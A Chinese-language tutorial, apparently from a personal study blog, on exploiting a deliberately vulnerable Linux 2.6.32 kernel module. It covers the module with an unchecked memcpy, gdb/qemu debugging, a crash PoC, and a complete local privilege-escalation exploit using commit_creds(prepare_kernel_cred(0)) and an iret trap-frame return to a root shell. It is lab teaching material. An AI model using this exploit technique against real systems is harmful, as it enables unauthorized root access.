linux-kernel expoit study (3)---栈溢出

write linux kernel exploit 2

Stack smashing

简单的内核栈溢出

一个简单的demo

漏洞很明显,memcpy没有对长度进行判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ vim stack_smashing.c
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>

int bug2_write(struct file *file,const char *buf,unsigned long len)
{
char localbuf[8];
memcpy(localbuf,buf,len);
return len;
}

static int __init stack_smashing_init(void)
{
printk(KERN_ALERT "stack_smashing driver init!\n");
create_proc_entry("bug2",0666,0)->write_proc = bug2_write;
return 0;
}

static void __exit stack_smashing_exit(void)
{
printk(KERN_ALERT "stack_smashing driver exit!\n");
}

module_init(stack_smashing_init);
module_exit(stack_smashing_exit);
1
2
3
4
5
6
7
8
9
10
ko文件的Makefile, KERNELDR目录设置为linux内核源码的根目录即可
obj-m := stack_smashing.o
KERNELDR := ~/linux_kernel/linux-2.6.32.1
PWD := $(shell pwd)
modules:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules
moduels_install:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules_install
clean:
rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

简单的测试

1
2
3
4
5
qemu启动内核,加载相关的busybox
$ qemu-system-i386 -kernel arch/i386/boot/bzImage -hda /tmp/my.img -append "root=/dev/sda

>加载模块
$ insmod stack_smashing.ko


POC测试

发现此时编译的ko是有canary检测了,为了测试方便,需要关闭栈保护机制,可以修改~linux_kernel/linux-2.6.32.1中的配置文件.config,找到CONFIG_CC_STACKPROTECTOR注释掉即可,然后重新编译内核和ko文件

1
关闭CONFIG_CC_STACKPROTECTOR之后重新测试栈溢出

调试模块

由于模块并没有作为vmlinux的一部分传给gdb,因此必须通过某种方法把模块信息告知gdb,可以通过add-symbol-file命令把模块的详细信息告知gdb,由于模块也是一个elf文件,需要知道模块的.text、.bss、.data节区地址并通过add-symbol-file指定。
模块stack_smashing.ko的这三个信息分别保存在/sys/module/stack_smashing/sections/.text、/sys/module/stack_smashing/sections/.bss和/sys/module/stack_smashing/sections/.data,由于stack_smashing模块没有bss、data节区所以只需要指定text即可。

1
2
获取text节区地址
$ grep 0 /sys/module/stack_smashing/sections/.text


1
2
3
4
5
在gdb中添加模块信息
gdb-peda$ add-symbol-file /home/swing/linux_kernel/write_linux_kernel_exploit/stack_smashing/stack_smashing.ko 0xc8830000

如果存在data和bss节区可以如下指定:
gdb-peda$ add-symbol-file /home/swingr/linux_kernel/write_linux_kernel_exploit/stack_smashing/stack_smashing.ko 0xc8830000 -s .bss xxxx -s .data xxxx

1
2
3
4
对漏洞函数下断点,可以看到bug2_write在模块中的偏移是0x30,所以在0xc8830000+0x30处下断点
gdb-peda$ b bug2_write
Breakpoint 1 at 0x30: bug2_write. (2 locations)
gdb-peda$ b *0xc8830030

具体调试步骤

调试模式启动kernel

1
$ qemu-system-i386 -S -kernel arch/i386/boot/bzImage -hda /tmp/my.img -append "root=/dev/sda"

设置qemu gdbserver(Ctrl+Alt+2)

1
(qemu) gdbserver tcp::1234

gdb调试kernel

1
2
3
$ gdb vmlinux
gdb-peda$ target remote localhost:1234
gdb-peda$ c

继续运行qemu(Ctrl+Alt+1)

在启动的内核中加载模块

1
$ insmod stack_smashing.ko


找到模块stack_smashing的text地址

1
2
$ grep 0 /sys/module/stack_smashing/sections/.text
0xc8830000

在gdb中command+c停止kernel运行加载符号并设置断点

1
2
3
4
5
6
7
8
9
10
11
gdb-peda$ c
Continuing.
^C

gdb-peda$ file vmlinux
Reading symbols from vmlinux...done.

gdb-peda$ add-symbol-file /home/joker/linux_kernel/write_linux_kernel_exploit/stack_smashing/stack_smashing.ko 0xc8830000
add symbol table from file "/home/joker/linux_kernel/write_linux_kernel_exploit/stack_smashing/stack_smashing.ko" at
.text_addr = 0xc8830000
Reading symbols from /home/joker/linux_kernel/write_linux_kernel_exploit/stack_smashing/stack_smashing.ko...done.

添加断点

1
gdb-peda$ b bug2_write

qemu中触发漏洞
$ echo ABCDEFGHIJKLMNOPQRSTUVWXYZ > /proc/bug2

进入gdb中调试
gdb-peda$ s
Warning: not running or target is remote
9 memcpy(localbuf,buf,len);

gdb-peda$ x /20i $eip
=> 0xc883000f : mov esi,edx
0xc8830011 : shr ecx,0x2
0xc8830014 : lea edi,[ebp-0x10]
0xc8830017 : rep movs DWORD PTR es:[edi],DWORD PTR ds:[esi]
0xc8830019 : mov ecx,eax
0xc883001b : and ecx,0x3
0xc883001e : je 0xc8830022
0xc8830020 : rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi]
0xc8830022 : add esp,0x8
0xc8830025 : pop esi
0xc8830026 : pop edi
0xc8830027 : pop ebp
0xc8830028 : ret
可以看到memcpy已经被编译器优化为rep movs指令

在函数返回处下断点
gdb-peda$ b *0xc8830028
gdb-peda$ c
gdb-peda$ x /10i $eip
=> 0xc8830028 : ret

可以看到此时ret之后控制eip为0x58575655
gdb-peda$ x /wx $esp
0xc7a63f30: 0x58575655

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
poc
$ cat stack_smashing_poc.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>

int main()
{
char buf[24];
memset(buf,'A',24);
*((void**) (buf+20)) = 0x43434343;
//write(1,buf,sizeof(buf));
int fd = open("/proc/bug2", O_WRONLY);
write(fd, buf, sizeof(buf));

return 0;
}

exp

从内核模式赋予root权限commit_creds(prepare_kernel_cred(0))然后直接返回用户模式,并在用户模式启一个shell,拿到root shell,其中使用iret指令来返回。

iret简介

1
2
3
当使用IRET指令返回到相同保护级别的任务时,IRET会从堆栈弹出代码段选择子及指令指针分别到CS与IP寄存器,并弹出标志寄存器内容到EFLAGS寄存器。

当使用IRET指令返回到一个不同的保护级别时,IRET不仅会从堆栈弹出以上内容,还会弹出堆栈段选择子及堆栈指针分别到SS与SP寄存器。

硬件在栈上保存了trap frame,iret从下面的结构中恢复到用户模式

1
2
3
4
5
6
7
8
struct trap_frame 
{
void* eip; // instruction pointer +0
uint32_t cs; // code segment +4
uint32_t eflags; // CPU flags +8
void* esp; // stack pointer +12
uint32_t ss; // stack segment +16
} __attribute__((packed));

构造fake trap frame和用户模式shell

构造fake trap frame(struct trap_frame)

1
2
3
4
5
6
7
8
9
void prepare_tf(void)
{
asm("pushl %cs; popl tf+4;" //填充tf.cs为当前的cs
"pushfl; popl tf+8;" //填充tf.eflags为当前的eflags
"pushl %esp; popl tf+12;" //填充tf.esp为当前的esp
"pushl %ss; popl tf+16;"); //填充tf.ss为当前的ss
tf.eip = &launch_shell; //填充tf.eip为launch_shell
tf.esp -= 1024; //unused part of stack
}

用户模式shell

1
2
3
4
void launch_shell(void) 
{
execl("/bin/sh", "sh", NULL);
}

最终的exp和调试

注意添加断点直接b bug2_write,通过commit_creds(prepare_kernel_cred(0))赋予root权限
并通过iret从内核态直接返回用户态然后启动用户态的shell(launch_shell)此时得到的就是root shell

exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
struct trap_frame{
void *eip;
uint32_t cs;
uint32_t eflags;
void *esp;
uint32_t ss;
}__attribute__((packed));
struct trap_frame tf;
void get_shell(void){
execl("/bin/sh", "sh", NULL);
}
void init_tf_work(void){
asm("pushl %cs;popl tf+4;" //set cs
"pushfl;popl tf+8;" //set eflags
"pushl %esp;popl tf+12;"
"pushl %ss;popl tf+16;");
tf.eip = &get_shell;
tf.esp -= 1024;
}
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xc1067c30;
void (*commit_creds)(void*) KERNCALL = (void*) 0xc1067a90;
void payload(void){
//payload here
commit_creds(prepare_kernel_cred(0));
asm("mov $tf,%esp;"
"iret;");
}
int main(void){
char buf[24];
memset(buf,0x41,24);
*((void**)(buf+20)) = &payload; //set eip to payload
init_tf_work();
write(1,buf,sizeof(buf));
int fd = open("/proc/bug2",O_WRONLY);
//exploit
write(fd,buf,sizeof(buf));
return 0;
}
3. 调试exploit

先要做一些准备工作:

  • 确定模块代码节地址

  • gdb设置


然后就可以返回到系统中,运行exploit程序了。

对ret指令下断,然后c过去,这时候单步的话,应该就ret到我们payload的地址了。


查看一下栈顶的情况:

接下来,我们单步,直行进入我们的payload。

这里可以看到先去执行commit_creds(prepare_kernel_cred(0))了。


我们主要关注iret的时候:

红色部分就是我们伪造的tf结构啦!


这边可以看到eip指向是我们用来起shell的函数,这样看来整个payload结构是没什么问题的。

最终效果

按write-linux-kernel-exploit-1文中——qemu中添加普通用户并测试

总结

真实环境中,canary是启用的,一旦canary被覆盖,就会造成kernel panics

引用

linux_kernel_exploit